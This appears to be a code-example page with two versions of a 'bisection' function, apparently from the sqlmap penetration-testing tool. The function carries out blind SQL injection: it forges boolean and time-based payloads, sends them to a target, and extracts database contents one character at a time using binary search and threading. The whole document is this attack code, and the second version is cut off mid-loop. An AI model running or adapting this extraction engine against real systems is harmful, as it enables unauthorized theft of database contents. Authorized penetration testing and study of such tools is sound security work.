Exemplo n.º 1
0
def bisection(payload,
              expression,
              length=None,
              charsetType=None,
              firstChar=None,
              lastChar=None,
              dump=False):
    """
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """

    abortedFlag = False
    showEta = False
    partialValue = u""
    finalValue = None
    retrievedLength = 0

    if payload is None:
        return 0, None

    if charsetType is None and conf.charset:
        asciiTbl = sorted(set(ord(_) for _ in conf.charset))
    else:
        asciiTbl = getCharset(charsetType)

    threadData = getCurrentThreadData()
    timeBasedCompare = (kb.technique
                        in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if PARTIAL_HEX_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")

            if retVal and conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(
                    partialValue)
                logger.info(infoMsg)
        elif PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")

            if retVal and not conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(
                    partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = "resumed: %s" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    try:
        # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
        if conf.predictOutput:
            kb.partRun = getPartRun()
        elif conf.api:
            kb.partRun = getPartRun(alias=False)
        else:
            kb.partRun = None

        if partialValue:
            firstChar = len(partialValue)
        elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
            firstChar = 0
        elif (kb.fileReadMode or dump) and conf.firstChar is not None and (
                isinstance(conf.firstChar, int) or
            (isinstance(conf.firstChar, basestring)
             and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
            if kb.fileReadMode:
                firstChar <<= 1
        elif isinstance(firstChar,
                        basestring) and firstChar.isdigit() or isinstance(
                            firstChar, int):
            firstChar = int(firstChar) - 1
        else:
            firstChar = 0

        if re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
            lastChar = 0
        elif dump and conf.lastChar is not None and (isinstance(
                conf.lastChar, int) or (isinstance(conf.lastChar, basestring)
                                        and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif isinstance(lastChar,
                        basestring) and lastChar.isdigit() or isinstance(
                            lastChar, int):
            lastChar = int(lastChar)
        else:
            lastChar = 0

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr,
                                                    nulledCastedField, 1)
            expressionUnescaped = unescaper.escape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.escape(expression)

        if isinstance(length, basestring) and length.isdigit() or isinstance(
                length, int):
            length = int(length)
        else:
            length = None

        if length == 0:
            return 0, ""

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar

        if length and length > MAX_BISECTION_LENGTH:
            length = None

        showEta = conf.eta and isinstance(length, int)
        numThreads = min(conf.threads, length) or 1

        if showEta:
            progress = ProgressBar(maxValue=length)

        if timeBasedCompare and conf.threads > 1 and not conf.forceThreads:
            warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
            singleTimeWarnMessage(warnMsg)

        if numThreads > 1:
            if not timeBasedCompare or conf.forceThreads:
                debugMsg = "starting %d thread%s" % (numThreads,
                                                     ("s" if numThreads > 1
                                                      else ""))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
            warnMsg = "running in a single-thread mode. Please consider "
            warnMsg += "usage of option '--threads' for faster data retrieval"
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not showEta and not conf.api:
            if isinstance(length, int) and conf.threads > 1:
                dataToStdout("[%s] [INFO] retrieved: %s" %
                             (time.strftime("%X"),
                              "_" * min(length, conf.progressWidth)))
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
            else:
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))

        hintlock = threading.Lock()

        def tryHint(idx):
            with hintlock:
                hintValue = kb.hintValue

            if payload is not None and hintValue is not None and len(
                    hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS,
                                                   DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                forgedPayload = agent.extractPayload(payload)
                forgedPayload = safeStringFormat(
                    forgedPayload.replace(INFERENCE_GREATER_CHAR,
                                          INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, posValue))
                result = Request.queryPage(agent.replacePayload(
                    payload, forgedPayload),
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return hintValue[idx - 1]

            with hintlock:
                kb.hintValue = None

            return None

        def validateChar(idx, value):
            """
            Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
            """

            validationPayload = re.sub(
                r"(%s.*?)%s(.*?%s)" %
                (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER),
                r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)

            if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(
                    validationPayload, (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = "'%s'" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape(
                    "'%s'" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(
                    validationPayload, (expressionUnescaped, idx)).replace(
                        markingValue, unescapedCharValue)

            result = not Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)

            if result and timeBasedCompare and kb.injection.data[
                    kb.technique].trueCode:
                result = threadData.lastCode == kb.injection.data[
                    kb.technique].trueCode
                if not result:
                    warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (
                        threadData.lastCode,
                        kb.injection.data[kb.technique].trueCode)
                    singleTimeWarnMessage(warnMsg)

            incrementCounter(kb.technique)

            return result

        def getChar(idx,
                    charTbl=None,
                    continuousOrder=True,
                    expand=charsetType is None,
                    shiftTable=None,
                    retried=None):
            """
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if "'%s'" % CHAR_INFERENCE_MARK in payload:
                for char in ('\n', '\r'):
                    if ord(char) in charTbl:
                        charTbl.remove(ord(char))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]
            firstCheck = False
            lastCheck = False
            unexpectedCode = False

            if continuousOrder:
                while len(charTbl) > 1:
                    position = None

                    if charsetType is None:
                        if not firstCheck:
                            try:
                                try:
                                    lastChar = [
                                        _ for _ in threadData.shared.value
                                        if _ is not None
                                    ][-1]
                                except IndexError:
                                    lastChar = None
                                if 'a' <= lastChar <= 'z':
                                    position = charTbl.index(ord('a') -
                                                             1)  # 96
                                elif 'A' <= lastChar <= 'Z':
                                    position = charTbl.index(ord('A') -
                                                             1)  # 64
                                elif '0' <= lastChar <= '9':
                                    position = charTbl.index(ord('0') -
                                                             1)  # 47
                            except ValueError:
                                pass
                            finally:
                                firstCheck = True

                        elif not lastCheck and numThreads == 1:  # not usable in multi-threading environment
                            if charTbl[(len(charTbl) >> 1)] < ord(' '):
                                try:
                                    # favorize last char check if current value inclines toward 0
                                    position = charTbl.index(1)
                                except ValueError:
                                    pass
                                finally:
                                    lastCheck = True

                    if position is None:
                        position = (len(charTbl) >> 1)

                    posValue = charTbl[position]
                    falsePayload = None

                    if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                        forgedPayload = safeStringFormat(
                            payload, (expressionUnescaped, idx, posValue))
                        falsePayload = safeStringFormat(
                            payload,
                            (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
                    else:
                        # e.g.: ... > '%c' -> ... > ORD(..)
                        markingValue = "'%s'" % CHAR_INFERENCE_MARK
                        unescapedCharValue = unescaper.escape(
                            "'%s'" % decodeIntToUnicode(posValue))
                        forgedPayload = safeStringFormat(
                            payload, (expressionUnescaped, idx)).replace(
                                markingValue, unescapedCharValue)
                        falsePayload = safeStringFormat(
                            payload, (expressionUnescaped, idx)).replace(
                                markingValue, NULL)

                    if timeBasedCompare:
                        if kb.responseTimeMode:
                            kb.responseTimePayload = falsePayload
                        else:
                            kb.responseTimePayload = None

                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(kb.technique)

                    if not timeBasedCompare:
                        unexpectedCode |= threadData.lastCode not in (
                            kb.injection.data[kb.technique].falseCode,
                            kb.injection.data[kb.technique].trueCode)
                        if unexpectedCode:
                            warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
                            singleTimeWarnMessage(warnMsg)

                    if result:
                        minValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[position:]
                        else:
                            # xrange() - extended virtual charset used for memory/space optimization
                            charTbl = xrange(charTbl[position],
                                             charTbl[-1] + 1)
                    else:
                        maxValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[:position]
                        else:
                            charTbl = xrange(charTbl[0], charTbl[position])

                    if len(charTbl) == 1:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(
                                    maxChar + 1,
                                    (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (
                                    retVal == ord('\n')
                                    and CHAR_INFERENCE_MARK in payload):
                                if (timeBasedCompare or unexpectedCode
                                    ) and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    threadData.validationRun = 0
                                    if retried < MAX_REVALIDATION_STEPS:
                                        errMsg = "invalid character detected. retrying.."
                                        logger.error(errMsg)

                                        if timeBasedCompare:
                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                                conf.timeSec += 1
                                                warnMsg = "increasing time delay to %d second%s" % (
                                                    conf.timeSec, 's' if
                                                    conf.timeSec > 1 else '')
                                                logger.warn(warnMsg)

                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                                dbgMsg = "turning off time auto-adjustment mechanism"
                                                logger.debug(dbgMsg)
                                                kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl,
                                                       continuousOrder, expand,
                                                       shiftTable,
                                                       (retried or 0) + 1)
                                    else:
                                        errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(
                                            retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        threadData.validationRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = "turning back on time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
            else:
                candidates = list(originalTbl)
                bit = 0
                while len(candidates) > 1:
                    bits = {}
                    for candidate in candidates:
                        bit = 0
                        while candidate:
                            bits.setdefault(bit, 0)
                            bits[bit] += 1 if candidate & 1 else -1
                            candidate >>= 1
                            bit += 1

                    choice = sorted(bits.items(),
                                    key=lambda _: abs(_[1]))[0][0]
                    mask = 1 << choice

                    forgedPayload = safeStringFormat(
                        payload.replace(
                            INFERENCE_GREATER_CHAR,
                            "&%d%s" % (mask, INFERENCE_GREATER_CHAR)),
                        (expressionUnescaped, idx, 0))
                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(kb.technique)

                    if result:
                        candidates = [_ for _ in candidates if _ & mask > 0]
                    else:
                        candidates = [_ for _ in candidates if _ & mask == 0]

                    bit += 1

                if candidates:
                    forgedPayload = safeStringFormat(
                        payload.replace(INFERENCE_GREATER_CHAR,
                                        INFERENCE_EQUALS_CHAR),
                        (expressionUnescaped, idx, candidates[0]))
                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(kb.technique)

                    if result:
                        return decodeIntToUnicode(candidates[0])

        # Go multi-threading (--threads > 1)
        if conf.threads > 1 and isinstance(length, int) and length > 1:
            threadData.shared.value = [None] * length
            threadData.shared.index = [
                firstChar
            ]  # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:

                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.index:
                            if threadData.shared.index[0] - firstChar >= length:
                                return

                            threadData.shared.index[0] += 1
                            currentCharIndex = threadData.shared.index[0]

                        if kb.threadContinue:
                            val = getChar(
                                currentCharIndex, asciiTbl,
                                not (charsetType is None and conf.charset))
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        with kb.locks.value:
                            threadData.shared.value[currentCharIndex - 1 -
                                                    firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                progress.progress(threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex,
                                                endCharIndex + 1):
                                    output += '_' if currentValue[
                                        i] is None else filterControlChars(
                                            currentValue[i] if len(
                                                currentValue[i]) == 1 else ' ',
                                            replacement=' ')

                                for i in xrange(length):
                                    count += 1 if currentValue[
                                        i] is not None else 0

                                if startCharIndex > 0:
                                    output = ".." + output[2:]

                                if (endCharIndex - startCharIndex
                                        == conf.progressWidth) and (
                                            endCharIndex < length - 1):
                                    output = output[:-2] + ".."

                                if conf.verbose in (
                                        1, 2) and not showEta and not conf.api:
                                    _ = count - firstChar
                                    output += '_' * (
                                        min(length, conf.progressWidth) -
                                        len(output))
                                    status = ' %d/%d (%d%%)' % (
                                        _, length, int(100.0 * _ / length))
                                    output += status if _ != length else " " * len(
                                        status)

                                    dataToStdout(
                                        "\r[%s] [INFO] retrieved: %s" %
                                        (time.strftime("%X"), output))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = [_ for _ in partialValue]
                value.extend(_ for _ in threadData.shared.value)

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target URL was lost
            if None in value:
                partialValue = "".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (
                        time.strftime("%X"), filterControlChars(partialValue))
            else:
                finalValue = "".join(value)
                infoMsg = "\r[%s] [INFO] retrieved: %s" % (
                    time.strftime("%X"), filterControlChars(finalValue))

            if conf.verbose in (
                    1, 2) and not showEta and infoMsg and not conf.api:
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar
            threadData.shared.value = ""

            while True:
                index += 1

                # Common prediction feature (a.k.a. "good samaritan")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(
                        partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(
                        partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.escape(
                            "'%s'" % commonValue
                        ) if "'" not in commonValue else unescaper.escape(
                            "%s" % commonValue, quote=False)

                        query = kb.injection.data[kb.technique].vector
                        query = agent.prefixQuery(
                            query.replace(
                                INFERENCE_MARKER, "(%s)%s%s" %
                                (expressionUnescaped, INFERENCE_EQUALS_CHAR,
                                 testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(
                            agent.payload(newValue=query),
                            timeBasedCompare=timeBasedCompare,
                            raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            if showEta:
                                progress.progress(len(commonValue))
                            elif conf.verbose in (1, 2) or conf.api:
                                dataToStdout(
                                    filterControlChars(commonValue[index -
                                                                   1:]))

                            finalValue = commonValue
                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms(
                        )].substring.query % (expressionUnescaped, 1,
                                              len(commonPattern))
                        testValue = unescaper.escape(
                            "'%s'" % commonPattern
                        ) if "'" not in commonPattern else unescaper.escape(
                            "%s" % commonPattern, quote=False)

                        query = kb.injection.data[kb.technique].vector
                        query = agent.prefixQuery(
                            query.replace(INFERENCE_MARKER,
                                          "(%s)=%s" % (subquery, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(
                            agent.payload(newValue=query),
                            timeBasedCompare=timeBasedCompare,
                            raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset,
                                      otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl,
                                  not (charsetType is None and conf.charset))

                if val is None:
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                threadData.shared.value = partialValue = partialValue + val

                if showEta:
                    progress.progress(index)
                elif conf.verbose in (1, 2) or conf.api:
                    dataToStdout(filterControlChars(val))

                # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
                if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[
                        -INFERENCE_BLANK_BREAK:].isspace(
                        ) and partialValue.strip(' ')[-1:] != '\n':
                    finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
                    break

                if (lastChar > 0 and index >= lastChar):
                    finalValue = "" if length == 0 else partialValue
                    finalValue = finalValue.rstrip(
                    ) if len(finalValue) > 1 else finalValue
                    partialValue = None
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        kb.stickyLevel = None
        retrievedLength = len(finalValue or "")

        if finalValue is not None:
            finalValue = decodeHexValue(
                finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(
                expression,
                "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else
                          PARTIAL_HEX_VALUE_MARKER, partialValue))

    if conf.hexConvert and not abortedFlag and not conf.api:
        infoMsg = "\r[%s] [INFO] retrieved: %s  %s\n" % (time.strftime(
            "%X"), filterControlChars(finalValue), " " * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) and not showEta and not conf.api:
            dataToStdout("\n")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = "retrieved: %s" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException(
            "something unexpected happened inside the threads")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue

    return getCounter(
        kb.technique), safecharencode(_) if kb.safeCharEncode else _
Exemplo n.º 2
0
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """

    partialValue = u""
    finalValue = None
    abortedFlag = False
    asciiTbl = getCharset(charsetType)
    timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
            if retVal:
                partialValue = retVal
                dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), safecharencode(partialValue)))
        else:
            dataToStdout("[%s] [INFO] resumed: %s\r\n" % (time.strftime("%X"), safecharencode(retVal)))
            return 0, retVal

    try:
        # Set kb.partRun in case "common prediction" feature (a.k.a. "good
        # samaritan") is used
        kb.partRun = getPartRun() if conf.predictOutput else None

        if partialValue:
            firstChar = len(partialValue)
        elif "LENGTH(" in expression or "LEN(" in expression:
            firstChar = 0
        elif dump and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ):
            firstChar = int(conf.firstChar) - 1
        elif firstChar is None:
            firstChar = 0
        elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int):
            firstChar = int(firstChar) - 1

        if "LENGTH(" in expression or "LEN(" in expression:
            lastChar = 0
        elif dump and conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ):
            lastChar = int(conf.lastChar)
        elif lastChar in ( None, "0" ):
            lastChar = 0
        elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int):
            lastChar = int(lastChar)

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
            expressionUnescaped = unescaper.unescape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.unescape(expression)

        if length and isinstance(length, basestring) and length.isdigit():
            length = int(length)

        if length == 0:
            return 0, ""

        if lastChar > 0 and length > ( lastChar - firstChar ):
            length = lastChar - firstChar

        showEta = conf.eta and isinstance(length, int)
        numThreads = min(conf.threads, length)

        if showEta:
            progress = ProgressBar(maxValue=length)
            progressTime = []

        if timeBasedCompare and conf.threads > 1:
            warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
            singleTimeWarnMessage(warnMsg)

        if numThreads > 1:
            if not timeBasedCompare:
                debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not timeBasedCompare:
            warnMsg = "running in a single-thread mode. Please consider "
            warnMsg += "usage of option '--threads' for faster data retrieval"
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not showEta:
            if isinstance(length, int) and conf.threads > 1:
                dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
            else:
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))

        hintlock = threading.Lock()

        def tryHint(idx):
            with hintlock:
                hintValue = kb.hintValue

            if hintValue is not None and len(hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx-1]
                else:
                    posValue = ord(hintValue[idx-1])

                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return hintValue[idx-1]

            with hintlock:
                kb.hintValue = None

            return None

        def validateChar(idx, value):
            """
            Used in time-based inference (in case that original and retrieved
            value are not equal there will be a deliberate delay).
            """

            forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
            incrementCounter(kb.technique)

            return not result

        def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None):
            """
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = list(asciiTbl)

            originalTbl = list(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [5, 4]

            if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
                charTbl.remove(ord('\n'))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]

            while len(charTbl) != 1:
                position = (len(charTbl) >> 1)
                posValue = charTbl[position]

                if CHAR_INFERENCE_MARK not in payload:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
                else:
                    # e.g.: ... > '%c' -> ... > ORD(..)
                    markingValue = "'%s'" % CHAR_INFERENCE_MARK
                    unescapedCharValue = unescaper.unescape("'%s'" % decodeIntToUnicode(posValue))
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    minValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[position:]
                    else:
                        # xrange() - extended virtual charset used for memory/space optimization
                        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                else:
                    maxValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[:position]
                    else:
                        charTbl = xrange(charTbl[0], charTbl[position])

                if len(charTbl) == 1:
                    if continuousOrder:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,128*16-1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                                originalTbl = list(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
                                if timeBasedCompare and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    kb.timeValidCharsRun = 0
                                    if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS:
                                        errMsg = "invalid character detected. retrying.."
                                        logger.error(errMsg)

                                        conf.timeSec += 1

                                        warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                        logger.warn(warnMsg)

                                        if kb.adjustTimeDelay:
                                            dbgMsg = "turning off time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = False

                                        return getChar(idx, originalTbl, continuousOrder, expand, shiftTable)
                                    else:
                                        errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        kb.timeValidCharsRun += 1
                                        if not kb.adjustTimeDelay and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = "turning back on time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = True
                                    
                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
                    else:
                        if minValue == maxChar or maxValue == minChar:
                            return None

                        # If we are working with non-continuous elements, set
                        # both minValue and character afterwards are possible
                        # candidates
                        for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
